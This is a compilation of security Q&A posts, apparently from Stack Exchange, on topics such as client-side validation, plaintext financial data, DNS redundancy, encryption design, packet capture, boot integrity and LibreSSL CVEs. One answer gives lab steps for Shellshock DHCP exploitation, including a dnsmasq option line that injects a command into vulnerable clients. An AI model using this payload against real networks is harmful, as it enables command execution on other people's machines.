Can a user tamper with my client side code to skip HTML sanitization, if yes, how can I prevent it? In my code, the first AJAX call to the server checks the recaptcha and sanitises the data.

Is there a way for a malicious user to skip that process ?

Since this is client side javascript, could he just fill in the email and the password in the Firebase user creation code by editing the code ?

Actually, can the user edit my client side code to skip my protection mechanisms ?

$("#registerForm").submit(function(e) {

        e.preventDefault();
        var username = $("#username").val();
        var email = $("#email").val();
        var password = $("#password").val();
        var confirmPassword = $("#confirmPassword").val();
        var referer = $("#referer").val();

        $this = $(this);
        $.ajax({
            type: "POST",
            url: "register",
            data: $this.serialize()
        }).done(function(data) {

            if (data) {

                    firebase.auth().createUserWithEmailAndPassword(data.email, data.password).then(userData => {

                        $.ajax({
                            type: "POST",
                            url: "register2",
                            data: userData.serialize()
                        }).done(function(result) {
                           if (result == "WORKED!") {
                                localStorage.setItem('success_msg_local', "Please check your inbox. You have 1 hour to confirm your email address. Failing to do so will delete the account and let you register again.");
                                window.location.href="/users/register";
                           }
                           else if (result == "FAILED1!") {
                               firebase.auth().signOut().then(function() {
                                   localStorage.setItem('error_msg_local', 'Failed to Register. Try again.');
                                   window.location.href="/users/register";
                               });
                           }
                           else if (result == "FAILED2!") {
                                firebase.auth().signOut().then(function() {
                                     localStorage.setItem('error_msg_local', 'Failed to Register. An error occured. Please try again later.');
                                     window.location.href="/users/register";
                                });
                           }
                        });

                    },function(error) {
                            var errorCode = error.code;
                            var errorMessage = error.message;
                            ("ERROR 3: "+ errorCode +" "+errorMessage);
                            localStorage.setItem('error_msg_local',  'Failed to Register. Please wait 1 hour before trying again.');
                            window.location.href="/users/register";
                    });
            }
            else {
                localStorage.setItem('error_msg_local',  'Recaptcha failed'); window.location.href = "/users/register";
            }

        }).fail(function( jqXHR, textStatus ) {
            alert( "Request failed: " + textStatus );
        });

    });

You can never be sure of what happens client side. The client could just be a netcat session, or a Python script that will send forged HTTP requests to your server. Simulating Ajax calls is indeed a nightmare, but after spying some normal browser exchanges with the debugging tools of a browser and/or a network spy like wireshark, it possible if not easy to pass forged requests to the server.

I cannot answer formally yes to the question could [the client] just fill in the email and the password in the Firebase user creation code by editing the code ?, because I'm neither an Ajax nor a Firebase expert. But I am pretty sure that any client side protection mechanism can be by passed after some work.

So the only secure way is to put as much sanitization as you can in client Ajax code, because what is done client side gives a nice user experience and causes no load on server, but to always write a full control server side, assuming that any client verification could have been by-passed.


What responsibility do I have in continuing another developer's work? My question is related to this one. I did not found anything googling around and that is why I am asking.

This question

I am the sole web developer for a firm, and I manage everything, from installing cables to a very complicated web-app. The app contains sensitive information like sort codes, bank accounts, names, addresses, etc. I am continuing the old web-developer's work, and he stored everything in the database as a plain text.

I have not taken any steps to correct this because it would cause some down-time for the business and my boss didn't pay much attention to what was I saying. Now I'm starting to think that this information might become a target as soon as the word gets spread around. (The users whose information is being stored have access to their own info.)

The app is pretty big now and I am afraid that if anything bad happens I will be responsible for it. What should I do and what steps should I take?

You absolutely have a responsibility to maintain the confidentiality of financial records.

Depending on your country's laws and legal precedents (disclaimer: IANAL) it may be the case that you (as a company) could be prosecuted or sued for negligence in the case of a breach. I see that your profile says you're in the UK, so government organisations such as the ICO and FSA can get involved if a breach occurs and customers end up being defrauded because of it. They have a history of handing out hefty fines to companies who act irresponsibly with their customers' financial details. On top of this, individual customers can sue you separately, based on their individual losses.

Keep in mind that a breach that leaks a customer's personal information because of insufficient security measures automatically puts you in violation of the Data Protection Act 1988, which is something the ICO can prosecute you for.

In fact, your bank or card processor may require that you're PCI compliant in cases where you store financial credentials, so if that's the case then you may be in violation of the contract you have with them. In such a case they may revoke your services, fine you, or even sue you in court.

My advice is as follows:

Look through your system and identify what information needs to be protected, and what the best method is to protect it. For passwords, you should be using a key-derivation algorithm such as PBKDF2 or bcrypt - not a hash like SHA1. For financial information such as account numbers and sort codes, you should be using a HSM, or at least symmetric encryption with an in-memory key. Can you outsource your credential storage and/or payment processing to a 3rd party provider? Build up a list of suggestions and expected development times, and prioritise them by severity. Be realistic - saying everything is critical will make your boss switch off.
Go to your boss and explain that the current way your company is storing financial information is negligent and that your current security measures are insufficient. Explain why it's bad, what the appropriate legislation is around it (especially DPA 1998 and other ICO regulations) and the standards which most companies are expected to adhere to (PCI-DSS, ISO/IEC 27000, etc.). Make sure he fully recognizes the potential for severe financial (and potentially legal) penalties should you be breached.
Get him to talk to an information security company that specialises in PCI-DSS or similar financial regulations. Often they'll give a free (or cheap) consultation to go over any concerns he has, and give him some advice. From there he can decide what the risks are. It may well be worth having a thorough penetration test done on your web-app, since it's storing financial details. This is an expense, but it's much cheaper than being sued.
Take action based on the information you gain, and make sure you have the results vetted by a professional.

If, after all this, your boss still decides to ignore the serious security and privacy issues your web-app has, ask him to put in writing that you cannot and will not be held responsible for any legal issues related to data security breaches during your employment. If he refuses to do so, I highly recommend finding another job and reporting them to the ICO. It's not worth the potential legal problems.


Why did the sites that went down in the Dyn DDoS attack (Oct 2016) not have secondary DNS? Or if they did, why didn't it help them?

(Edit: by "secondary" I mean "not at Dyn")

They probably did.

Checking on one that was actually affected we see that basecamp had 4 DNS servers but all were hosted at dynect.net. So if dynect's infrastructure was attacked it's easily possible none of them were responding well.

dig -t NS basecamp.com

; <<>> DiG 9.8.1-P1 <<>> -t NS basecamp.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39198
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;basecamp.com.          IN  NS

;; ANSWER SECTION:
basecamp.com.       28725   IN  NS  ns3.p25.dynect.net.
basecamp.com.       28725   IN  NS  ns4.p25.dynect.net.
basecamp.com.       28725   IN  NS  ns1.p25.dynect.net.
basecamp.com.       28725   IN  NS  ns2.p25.dynect.net.

Same thing for GitHub

dig -t NS github.com

; <<>> DiG 9.8.1-P1 <<>> -t NS github.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22950
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;github.com.            IN  NS

;; ANSWER SECTION:
github.com.     24417   IN  NS  ns1.p16.dynect.net.
github.com.     24417   IN  NS  ns2.p16.dynect.net.
github.com.     24417   IN  NS  ns3.p16.dynect.net.
github.com.     24417   IN  NS  ns4.p16.dynect.net.

;; Query time: 1 msec
;; SERVER: 173.203.4.8#53(173.203.4.8)
;; WHEN: Sat Oct 22 06:09:42 2016
;; MSG SIZE  rcvd: 114

It should be noted that this is an example of putting all of ones eggs in a single basket. Most colocation providers, ISP's, and even many cloud providers talk about redundancy across their multiple datacenter but frequently they are all within a single infrastructure of some type such as all being routed, or black holed, together because all of those IP's share a single BGP ASN from an Internet backbone perspective and although that's designed to prevent looping when mistakes occur it could take all of one of these colocation providers, ISP's, or cloud providers network out temporarily.

This brings up the question, so why weren't the DNS servers on completely different ISP's networks to prevent single points of failures like this. To that I would say it's more an oversight made by the person who selected the datacenter/cloud provider. Sometimes this is due to ease of billing or due to other dynamics of the vendor relationship or system deployment methods but the more formal term for why this happens is simply path dependence  (i.e. they do this because that was the way it was done at a previous company and it worked fine there...)

To their credit it does appear the Dyn DNS offers some Enterprise solutions that have a lot of add on features which are probably only available if Dyn DNS is managing all the DNS servers. Interesting risk trade off. I'd love to know what their marketing literature & contractual SLA's says about the redundancy and availability of their infrastructure.

In any case, it would be wise to have DNS servers hosted with more than one provider.


Safe messenger encryption I would like to know your opinion about the following:

I´m developing an Android messenger, where all communication goes from the app -> php -> mysql, from where it will pulled by the receiver in opposite order.
So I´ve been thinking about how to make it secure, and thought about the following:

First time the app is installed, a key is generated by the server, and sent to the user. The key is then used to encrypt (maybe with AES256) the next communication to the server.
Then in the next communication FROM the server, a new key is received in the package encrypted by the previous key, and this way every message is encrypted by a new key.
Then if you´re sniffing packets, you need to have been there the first time the app was installed to have a chance of breaking the security.
On the PHP side, I have several scripts, but I´m considering to have one "entrance" script, that receives an identifier of which of the other scripts that communication is ment for,
but not the real name of the other script to be addressed. This way hackers won´t know the name of any of the scripts except for the "entrance" script.
I´ve already set up all code in the PHP scripts with PDO/prepared statements.
I read somewhere that mysql databases are encrypted by default. Is there any reason that I should take further steps to secure the data in the mysql database?

Other ideas?

The complete encryption scheme you proposed is not at all secure by today's definition; users of a messenger will expect "FORWARD SECRECY" - which means your server must not ever be able to read/decrypt any message-content that is sent from one client to another.

"I read somewhere" is not a valid source for anything security related
mysql is not capable of saving it's backend encrypted directly, you can keep the backend on an encrypted disk but 99.99% of possible attacks will happen when the system is up and running, when disk encryption is useless
encrypting the database backend will not help against attackers who gained access to privileged mysql-login data (like the ones used in your php script)
even encrypting individual fields of the database as opposed of the whole database does not help against attackers who gained access to your php code unless proper forward secrecy of all messages is maintained

Symmetric encryption ("maybe with AES256") is only secure when the keys are exchanged and kept private, you propose to transfer the initial key in plain-text thus relying on the first connection attempt to be secure. This is horrible design for secure applications / data exchange. Why not use SSL/TLS for securing the connection with the server? It basically does what you wanted to do, except the "initial" package is transmitted over a secure connection using an asymmetric encryption method to deliver the symmetric keys used for the rest of the connection. And now you only need to worry about implementing proper forward secrecy.

For more details and proper implementation of SSL/TLS and forward secrecy I recommend reading the openSSL documentation. OpenSSL offers all cryptographic functions required to implement a secure messenger over the internet.


Veracrypt hash algorithm detection Is it possible to detect the hash algorithm used to encrypt a file or partition with Veracrypt?

Not unless you know the correct password. VeraCrypt works by trying each hash and cipher combination with your supplied password one-at-a-time until one of them works, and tells you that your password is incorrect if none work. Without the correct password, you can't even tell if it's a VeraCrypt volume or not.


Router password generation - why do vendors use SSID / Router ID? We know - for example - that UPC did use the Routers Serial Number and its SSID to generate the default password for a specific router.

My question is: Why go through the hassle to correlate the password with publicly available data? Wouldn't a factory wide counter that just +1s every password and starts over when overflowing be a much more secure way of doing things (The password still correlates to the router ID in some way, but at least not to the SSID AND the router ID).

I know that this is still not sufficient for a safe password - but why would you start doing 'magic' if the outcome is basically the same - if not even worse?

Because to make manufacturing simple. Instead of having to create a custom firmware for each product, the firmware just reads the ROM where the MAC or serial is stored, to calculate the password. Same with the SSID.

This means the circuits containing firmware, can be shipped pre-loaded to the factory, and the only personalization done is assigning its MAC ID, from which the serial number is usually derived too.

This also means machines that print stickers and such, only need to be supplied with the router's MAC ID and then they can calculate the password out.

Some router manufacturers have started using more secure password generation algorithms like using a HMAC to calculate the password, which usually means you cannot deduce the password by just reverse-engineering the function, but you need to actually reverse-engineer the firmware. (where the secret "master golden key" is stored)

Routers shipped by ISPs can however be 'provisioned' from the ISP's server. These are usually shipped with a blank password (unprotected network), and wifi disabled, but as soon as they touch the internet and get the config filename from the DHCP, they will download a configuration file, where the wifi password is usually the same password as the customer uses to login to its customer portal.

As you might know, in mass-production, it's very hard or expensive to "personalize" a device, instead each device must be as similar as possible.
The ideal situation is where the device is "personalized" by the customer.


Categorizing a data leak which is intentionally / by carelessness / by design I have found a publicly accessible web page which discloses person-related data when queried with matching input data. This is against the company's own data protection promise. I want to report responsibly with a proper description and categorization of the problem.

The data required as input is:

The customer number like xxx-xxx-xxx-x (10 number digits where 1 is probably a checksum)
The ZIP code in four digits as "security element"
(which is about 4000 really existing numbers)

The data provided on match between Customer ID and ZIP:

Full Name
Birthday
Residential address
Landline or Mobile Phone number (if provided by customer)

Their intent on providing this data is to support a purchase to the intended person, when you want to buy as a gift.

How to categorize this problem?

Is there a proper CWE number for it? Probably CWE 213? Or is there another standardized categorization system?

Note: Both me and the company in question is located in Switzerland (which is not part of the European Union). I am not sure how legally binding the EU GDPR is here.

If you are in an European Union country, you can just say it's a GDPR violation (even if they officially come into effect in 25th May).

GDPR rules are widely talked about now and are exactly about preventing this sort of problems.

Data leaks can be generally arranged into 4 large categories:

Hacking (unauthorized access )
Losses/steals (loss of data, documentation - example: stolen notebook with company data)
Inadvertent (accidental data leak)
Wrongdoing (employee error)

Your case would fit better into accidental data leak category, although it's a combination of that and wrongdoing (the configuration of the system permits for the data extraction to occur under certain circumstances).

Note: It's not CWE-213 unless you can prove it was an intentional setup. CWE-201 may be more appropriate.


Doesn't seem to be able to capture the packets I need I've been trying to capture Telegram messaging application's packets (for my class project) but I couldn't get anything out of the punch of captured packets I got.

Telegram does AES-256 encryption over the users' messages and then send it using normal-Not SSL-transportation protocols (e.g. TCP,HTTP,UDP, etc..)

I tried these capturing scenario:

Connecting both mobile phones (sender & receiver) to the same access point that my Laptop-where wireshark is running-connected to.
making my laptop as an access point where the two phones are connected to (that's to make sure the packets go through the NIC card in case the router is not allowing packet to be broadcasted coz I'm using my campus's wifi I don't now their configurations )

So in my capture filter I tried many filters I assume the most relevant are :

HTTP only: I got many packets, which is useless to check every single one of the 269386 packets captured. that is in the case of scenario one of the capturing trials. So I modified the filter and come up with the second filter.
HTTP with my mobile phone IP address (i.e http && ip.addr) but I got no packets at all. though my phone is the sender (in both capturing scenarios).
Any ideas what's wrong or what I'm missing here

P.S wireshark is set in promiscuous mode

[UPDATES]

I tested to see if Wireshark does capture any packets going off my phone-even non-telegram ones- but I found that it only captured SSDP, ICMP and some other packets
But it captured nothing from my browser, as I logged into my Facebook account,expect one packet it captured of a Youtube page visit??

I tried to use telegram PC version to send msgs but I got SSL (Telegram doesn't use it as they claim, HTTP (unauthorized), ICMP (Pings nothing to do with msgs), UPD (Not sure if these could be the packets, and TCP (Three way handshake packets)
 [END]

I'm thinking to try wireshark on my friends machine but not sure if that's a solution!!

I'm not really clear about your setup.  At one point you seem to say that the laptop is serving as a wireless AP, and in another place it seems like there's a separate AP.

Run Telegram between the PC and the phone and run Wireshark on the PC.  In normal use, your wireless AP is not going to repeat traffic destined for other devices to the PC you're using to run Wireshark.

If you must have two phones, you could associate them with two different access points and put a hub (not a switch) in the middle.  Then connect the PC to the hub.

Edit: After I've read a little more about Telegram, it seems the clients do not talk to each other, they talk to Telegram's servers.  So, you will need something like this:

If you run Wireshark on the laptop in promiscuous mode, you should be able to see the packets from the phone headed to the Telegram servers.

Note that the connection in the middle must be a hub, not a switch.  You should be able to use two or more phones with this setup; I expect you'll see both talking to Telegram's server, and not to each other.

Alternatively, at least with Windows 7, you can turn the laptop itself into an access point.  A Google searh will find instructions; one such is here:http://www.firewall.cx/microsoft-knowledgebase/windows-xp-7-8/968-windows-7-access-point.html  With the laptop serving as an AP, and connected to the gateway network using a wired connection, is is possible that Wireshark in promiscuous mode might be able to see traffic passing from the wireless radio to the wired Ethernet.  If you can put your hands on an Ethernet hub, try the method shown in the diagram.  I am sure that'll work.


System encryption on a uefi system? I was thinking about encrypting my ssd(just out of curiosity, mostly) and was wondering the possible security threats an unencrypted /boot partition can pose(if any).
I know that I can encrypt the root and home partition without any problem. Also, I read something about encrypting the swap partition using a random generated key on each session(making hibernation impossible).
But what about the /boot partition? I mean, if an attacker gets physical access to the disk, and accesses this partition, can that pose a security threat? As far as I know, you can't simply encrypt the /boot partition, since that you wouln't be able to boot at all anymore, right?

Thanks in advance!

The key here is privacy vs integrity.

If your data volume (/home, /var/log and anything else with sensitive data) is encrypted then you're primarily just assuring privacy, whereas for /boot you want to make sure no malicious code is placed (integrity). Note this does not imply that it needs to be encrypted. /boot almost never requires actual encryption, since it does not store private/privileged data. I'm going to presume you have locked down booting from external devices (USB).

After the UEFI/BIOS code, the first piece of code executed on your system that you control is the bootloader (e.g. grub), which reads configuration files (that may have security parameters such as disallowing boot option editing), and then your kernel+initrd, also stored on /boot. It will take a determined adversary to:

Gain physical access to your laptop
Remove the hard drive without you noticing it's been removed and replaced
Replace Grub/Grub's config/kernel/initrd with a malicious version (e.g. that captures keypresses, loads hidden daemons, or even starts a hypervisor to encapsulate your entire OS)
And deliver it back to you with no sign of tampering, performance loss, random bugs or noticing it's been missing.

It is feasible though. If you're at this level of paranoia as opposed to simply keeping your data volume hidden from random search and seizure, then you need to look into a full trusted boot setup. That's a lot of work.

A simple mitigation would be, once your system is started, check that the hashes of all files on /boot are as you expect by comparing it with a previous baseline of hashes stored in your encrypted volume. This is an after-the-fact measure though if /boot has been compromised, but at least you will know about it, and you will need to update the baseline each time you update files on /boot (e.g. new kernel version/new grub security options).

Any more assurance will require a lot more work. Trusted Boot on Linux/*nix is notoriously tricky.


shellshock dhcp exploitation An attacker can exploit the bash bug in the DHCP protocol.
On searching , how this can be performed , I found "http://www.sectechno.com/2014/09/28/shellshock-dhcp-server-exploitation/" , but could not found any tutorial showing it on linux machine.

Please explain, how it can used to attack on clients using dhcp server on linux. What configurations need to be done in dhcp server ?

In order to reproduce this vulnerability on *nix systems follow these steps:

Install dnsmasq. On Ubuntu machine it can be done by running following command:

sudo apt-get install dnsmasq

Add following lines to /etc/dnsmasq.conf configuration file:

interface="iface_server"

dhcp-range="ip_start","ip_end",12h

dhcp-option-force=100,() { :; }; echo 'You are going to be shocked..ShellShock !!!'>/tmp/

The vulnerable code will be inserted in dhcp-option field of the header.

Where  is network interface DHCP server will be listening on, and ip_start, ip_end is the range of IP addresses that server will give out.
On target machine verify that an interface is configured to use DHCP client. It can be done by looking at the /etc/network/interfaces file.

Following lines must be in the file:

auto "iface_client"

iface "iface_client" inet dhcp

On vulnerable machine enter following command:

sudo ifdown "iface_client" && sudo ifup "iface_client"

Where iface_client is network interface DHCP client will acquire IP address for.

Note that iface_server and iface_client must be connected to the same network.


Strange and unknown user name on Windows 10 Today I was through folder information and, when I switched to the security tab, I observed that there were 5 users listed there. In this list, there was also a user called "yupgyzmhuma". I tried searching it on google, but there was no information about it. So, whatever it is, it can't be something common to all Windows computers, otherwise I would have found information about it, right? Then, I looked through my girlfriend's laptop and found only 4 users, the only one missing being "yupgyzmhuma". The user has no privileges, so if it was created by malware, I don't know what it could do. I have Eset Antivirus Installed on my computer. Most probably, it's not something bad, but I am still curios about what it's origin might be. Sorry, if I am off-topic]1

Two potential explanations.  One, malware could have created the account.  Two, ESET has some anti-theft functionality which creates what they call phantom accounts.

The account name seems random so I would not expect to find that account name by googling it.

Suggestions for malware path:

ensure you scan the computer fully with your antivirus
learn more about the account - check the local group membership, see if there are any services set to run under it, or search your registry for this string.  All require some knowledge of system administration.  If you open command prompt and run the net user command for the account, you will also be able to see when the account was created, logged onto and group membership.  This could lead to attributing the account creation to your system install date, or antivirus install date, or that one time 6 months ago when you browsed to a porn site and some malware made your browser run weird.
depending on outcomes above, deal with any risks of leaving the account there, having a virus and anything else applicable

Suggestions for ESET path:

get ESET support to help you explain if their software does this, especially if you have anti-theft software from them


Removable storage solution Background:

My organization has to find a removable storage solution.  However, it is my understanding that the DOD is pretty strict about flash drives due to security considerations.

Question:

My users will always have connection to the internet, but may sometimes not be on our network.  Are there any alternatives to flash drives?

If we were to allow flash drives, what steps need to be taken to mitigate the malware risk?

You want to distribute the flash drives yourself, and forbid usage of any flash drive which has not been "approved". Reason: there are devices out there, which look like flash drive, but, when inserted, tell to the computer that they really are keyboards, and begin typing things wildly.

If only genuine flash drives are ever inserted in the computers you want to protect, you should be able to deal with malware, with a "reasonable" success rate, through the usual tools (antivirus & co). Malware risk can be drastically lowered by enforcing use of an operating system which is resilient to malware, e.g. NetBSD (resiliency being achieved mostly by rarity - malware developers do not bother with targeting NetBSD). But users may object...

Be aware that whatever you do, users will insert random USB devices into machines to which they have physical access, unless you pour glue into the USB ports. Best defense is probably a combination of up-to-date operating systems, good antivirus/malware detector, and, more important than everything else, security awareness training. You will be infected at some point -- but you can hope for a low rate of successful infections if the users, on average, exercise caution.


HTTPS and cache injection I understand the downside of this attack and what wrong can be done.

But I dont understand how is it done ?

Well, I need to educate myself, any pointers would be useful.

I suggest reading the paper.  Section 3 (the section on cache injection) is clear and well-written.

The attack is pretty simple.  Assume that you connect over open Wifi, and an active attacker is present and mounting a man-in-the-middle attack against you.  The attacker could serve malicious content for a Javascript library used by some major site: say, https://twitter.com/jquery.js (let's assume that's a Javascript library used by Twitter).  The attacker will have to use an invalid SSL certificate, so you'll get a warning pop-up; the attack assumes you'll click through that warning.  Your browser will cache the content it received for https://twitter.com/jquery.js, so it now has malicious Javascript cached for that URL.

The consequence is that if you later visit Twitter over a secure network, your browser may still have the malicious Javascript library cached and use the malicious version.  Thus, the attacker can maintain control for a longer period than you might expect.

In the grand scheme of things, I think this attack is of lesser severity.  It requires the attacker to mount a MITM attack on you.  It requires you to click through cert warnings.  And if you do those two things, you're already in trouble anyway.

Best defenses: Try to avoid using open Wifi.  Try to avoid clicking through cert errors.  Certainly never click through cert errors when you are on open Wifi.  If you want to be especially careful, set up a VPN and always use it any time you are on a third-party Wifi network.


Dealing with credit card data that is not charged directly I have a client who is a reseller for vacation packages. For years they've had a payment form on their site where the end user would fill out their credit card data and the information is emailed to the reseller. BAD... I know. The only security they had implemented was the page was SSL.

The client then signs into their wholesaler account and charges the card there.

As a new client, we told them this is bad and needs to be handled differently.

So my question is, what would be the proper method for temporarily storing credit card data? Or do you know of a service that the full credit card data can be passed to but not charged and is secure, PCI compliant? They'd have to sign in to view the credit card, and then charge it via their wholesale account.

I really don't want to store credit card data in their website's database... I inquired, asking if the wholesaler provided them with silent post options, or am embedded form they can use.

I looked into Stripe but it stores the card as a token.

Any advice is much appreciated.

I just honestly think this whole request from my (potential client) is out of whack and I want to make sure we handle it correctly, securely, and properly.

Well if your wholesaler does not offer an automated way to process data, you're going to have a hard time not storing the credit card info. This means that you probably will also have to get SAQ-D.

Storing a token of a card is not the same as storing the card details. In your case you will have to store the PAN and Verification code for as long as the transaction (in this case charge by the Wholesaler) isn't made. Storing that data is what you want to avoid. A token is a lot better in this case. You will still have to be very careful how you store these tokens, but since you  do not store sensitive CC data, you are not required to get SAQ-D.


Why allow a public API Key to change? A common method of credentialing for an API is to give each use a public/private key pair. The public key is sent in with the request, and the private key is used to sign the request (and is verified by the server re-signing the request and checking that they match).

The user can rotate the keys pretty easily. What I don't understand is why a key rotation involves changing the public key as well (this is done by AWS when an IAM user's key is rotated).

From my understanding the public key is kind of like a persons name, it tells the server who you are. It was never a secret to begin with. What benefit is gained by changing the public key and not just changing the private key?

Edit: Just to clarify, I am not referring to an RSA type encryption key pair which rely on each other. I am referring to key pairs used for API access (such as AWS uses)

A public key matches a specific private key, it is not "kind of like a person's name". The public key can be used to verify that whomever signed the message has the private key belonging to the public key, because the private key and public key are related in a very specific mathematical way. In theory, there is only ever one person who has that private key, allowing the server to identify you.

However, if the private key is stolen somehow, now anybody could be signing that message. Hence the need to generate a new private key. But since the private key and public key are paired in a specific mathematical way, the new private key is useless without sending the server the corresponding public key that was generated along with it.


Protection against file distributed malware Let's say I have one server called A which host an upload website which is connected at the network connection B. Let's say one of my clients uploads multiple .rar files of 1 MB (that contains malware parts) and when I unzip them I rebuild the malware. Is there a way to detect that malware parts before I unzip the files?

Can I have a firewall/device that will check all the files between A and B and block them?

Is this technically possible?

Usually analysis works only at the level of a single download and it is really hard to do it differently. The firewall has no knowledge that a specific download is only one part of a larger download session and where the rest of the data can be downloaded for a complete analysis.

But depending on the file format the firewall might at least detect that it is a part of a larger download or that this is some unknown data format. And it might have a white list which types of data are allowed and unknown data or partial archives are not part of this white list. In this case the firewall might not be able to analyse the download for malware but it might decide to block the download because the contents is not on the white list.

This kind of situation also happens with download accelerators or resuming of downloads in which case the firewall would also only see a partial download. Some firewalls deal with this case by changing the request of the client so that it results in a full download which then can be analyzed by the firewall.


How do you know which site credentials are sent to when signing into Oauth site in native apps? I sometimes use these features where I can use my Google account to sign in to different service providers. For example, the Postman app lets me sign in to it using either their own user store, or Google's (I believe this uses the OAuth schema, but I could be wrong).

When I do this on a website, it's pretty clear I am sending my Google credentials to Google, not to the site I'm trying to sign in to, as I can verify the URL in the browser. However, in native apps, I don't see an easy way to check this. How do I know my credentials are being sent to Google, and not to Postman or some other site (by accident, or maliciously)?

See, for example, a screenshot of the Postman Google sign-in screen:

Note: I don't think this is a duplicate of
How can an end-user verify the authenticity of a third-party authentication provider's login form
That questions asks specifically about websites, I'm asking about native apps, where the accepted answer to that question does not apply. The answer does tough on that, but only to the extent that the user just needs to trust the native app. I am wondering if there is anything concrete I can do as a user to make sure the prompt is legitimate?

You cannot know if the app intercepts your credentials even if you are directed to the real Google account website.

That is precisely the reason Google stops supporting this.

  Because we can’t differentiate between a legitimate sign in and a MITM
  attack on these platforms, we will be blocking sign-ins from embedded
  browser frameworks starting in June (2019)


Store user passwords in NoSQL database? I am currently coding the backend of a website and I have not come across an article where this is discussed. I want to store all my application data in MongoDB but I'd like to split out my sensitive user information into a MySQL database. My rational is that the MySQL database will only be accessed for authentication but I'd like to store usernames and passwords in a datbase that is ACID. The added benefit is that the user's data is physically separated from the user entity itself, which I like.

My question is, is this necessary? Should I keep all my data in MongoDB?

If you think the database engine you're planning to use isn't secure enough, then I wouldn't advise using it for anything. If it is secure enough, then the added complexity of two different database APIs will make your life harder, and not really affect an attacker (they'll just dump it to a file anyway).

If you want the data physically separate, you could put the password database on a separate machine from your other data.

If you correctly hash your passwords (PBKDF2, bcrypt or scrypt; high cost/iteration count), then your password database shouldn't be very useful to attackers anyway, except in the case of stupidly weak passwords.

Regarding ACID compliance: MongoDB does have atomic operations, it just doesn't have multi-document transactions, which presumably you don't need in a database that only has one collection.


How do we verify a human agent in light of WCAG 2.2? WCAG is a set of standard web accessibility criteria developed by the W3C that have been adopted by regulatory agencies in a number of countries, including Section 508 in the U.S., which makes compliance mandatory for all government websites.
The current working draft of WCAG 2.2 introduces a new success criterion, 3.3.7: Accessible Authentication. This is a level-A criterion, meaning it must be met in order to claim any degree of compliance.
The success criterion has the following definition:

Success Criterion 3.3.7 Accessible Authentication (Level A): If an authentication process relies on a cognitive function test, at least one other method must also be available that does not rely on a cognitive function test.

The definition of a cognitive function test is given in part as:

A task that requires the user to remember, manipulate, or transcribe information... includ[ing]... memorization, such as remembering a username [or] password[;]... transcription, such as typing in chracters;... performance of calculations; [or] solving of puzzles.

What I'm most concerned about is captcha, which appears to be completely barred by this criterion. The standard "wavy text" captcha is barred as "transcription;" the standard "accessible alternative" audio captcha is also "transcription." The historical alternative "math problem" captcha is "performance of [a] calculation." And the modern captcha is almost blatantly called out by the standard as "solving [a] puzzle" ("identifying which images include a particular object").
How can we verify that an agent accessing a system is indeed a human while still complying with WCAG 2.2 criterion 3.3.7?

Put bluntly, the standard requires a non-captcha method of access be available because captchas failing to distinguish a person's humanity is an accessibility issue. More to the point, you shouldn't be trying to determine if a visitor is human, but whether they are authorized user.
Practically, this means that you can't gate login on a captcha solve -- which you shouldn't be doing anyway. If you're concerned an attacker might brute-force a user's password, then you should implement a proper second factor rather than a halfway-measure like a captcha.
Implement WebAuthn so people can use USB push-button tokens, and all your problems will be solved.


The risks of choosing a browser I just tried Chromium, which in its fast rendering and lightweight feel really appealed to me, so I considered switching.

But looking at the project, I see that the Chromium project has strong links to Google, just as Gecko has to Mozilla. I therefore assume that the people at Mozilla and Google thus do the majority of development on the respective engines.

Both of these have cloud services they try to link you up to for you to give away information to them for analysis - and most likely exploitation at some level.

That got me to thinking;

Is there a serious browser alternative that's not tied to an entity possibly wanting to exploit information about you?
Is the vigilance and number of the projects' unaffiliated developers sufficient to couteract attempts from the "insiders" to sneak malicious code into the engines?

No.
Probably!

Whilst there may be links back to Google in the case of Chromium, there are also many other people with eyes on the code. That's the (potential) benefit of open source.

You could possibly argue that Mozilla is more independent since they don't seem to have many significant reasons to be doing bad things with people's data. Google are somewhat more suspect in their intent. However, Chromium is used in many contexts so rogue code is very likely to be found out.

Also, lesser known browsers, though they may not have so many ties, also don't have so many eyes on the code. The Maxon (sp?) browser is a good case in point having just been discovered sending vast amounts of quite sensitive data from user PC's to some central location in China.

If you haven't yet found a trusted source of security information that you can monitor for browser related issues, that is where I would start. Then you will see quite quickly what is going on and what people are discovering.

PS: I should say, for clarity, that you've asked for opinion related answers as I don't think anyone can really know if a browser is compromised until someone discovers an issue. This is my opinion.


LibreSSL 2.0.5 - Why wasn't it fully affected by secadv_20140806.txt? From: https://marc.info/?l=openbsd-announce&m=140752800525709

The announcement:

We have released LibreSSL 2.0.5, which should be arriving in the
LibreSSL directory of an OpenBSD mirror near you.

This version forward-ports security fixes from OpenSSL 1.0.1i,
including fixes for the following CVEs:

CVE-2014-3506
CVE-2014-3507
CVE-2014-3508 (partially vulnerable)
CVE-2014-3509
CVE-2014-3510
CVE-2014-3511

LibreSSL 2.0.4 was not found vulnerable to the following CVEs:

CVE-2014-5139
CVE-2014-3512
CVE-2014-3505

We welcome feedback and support from the community as we
continue to work on LibreSSL.

Thank you,
 Brent

Our question is: Why wasn't LibreSSL affected by the CVE-2014-5139, CVE-2014-3512, CVE-2014-3505 and only partially vulnerable for: CVE-2014-3508? Can someone please explain in short?

The OpenSSL Security Advisory Link: https://www.openssl.org/news/secadv_20140806.txt

CVE-2014-5139 - crash with SRP ciphersuite in Server Hello message - SRP had been removed from LibreSSL in May 2014 so no fix was necessary.
CVE-2014-3512 - SRP buffer overrun - again not vulnerable because SRP is no longer part of LibreSSL
CVE-2014-3505 - Double Free when processing DTLS packets - this had been fixed independently by LibreSSL back in May 2014.
CVE-2014-3508 - openssl: information leak in pretty printing functions - LibreSSL did indeed provide a fix for it. I have no information why the LibreSSL 2.0.5 release announcement marked it "partially vulnerable", someone with knowledge on that topic could compare the LibreSSL fix to the OpenSSL fix to find out about that. Update: While searching for a more detailled explanation on that, I came across this thread, where someone pretty much asked the same questions and one of the OpenBSD developers explained for CVE-2014-3508:

  For -3508, one of the involved paths had been converted to snprintf()
  and could no longer leave the buffer unterminated, but we hadn't
  changed the other. Darn.

Note: I linked the CVEs to Redhat's Bugzilla, because they always link to the actual commitdiff fixing the issue, which is nice.


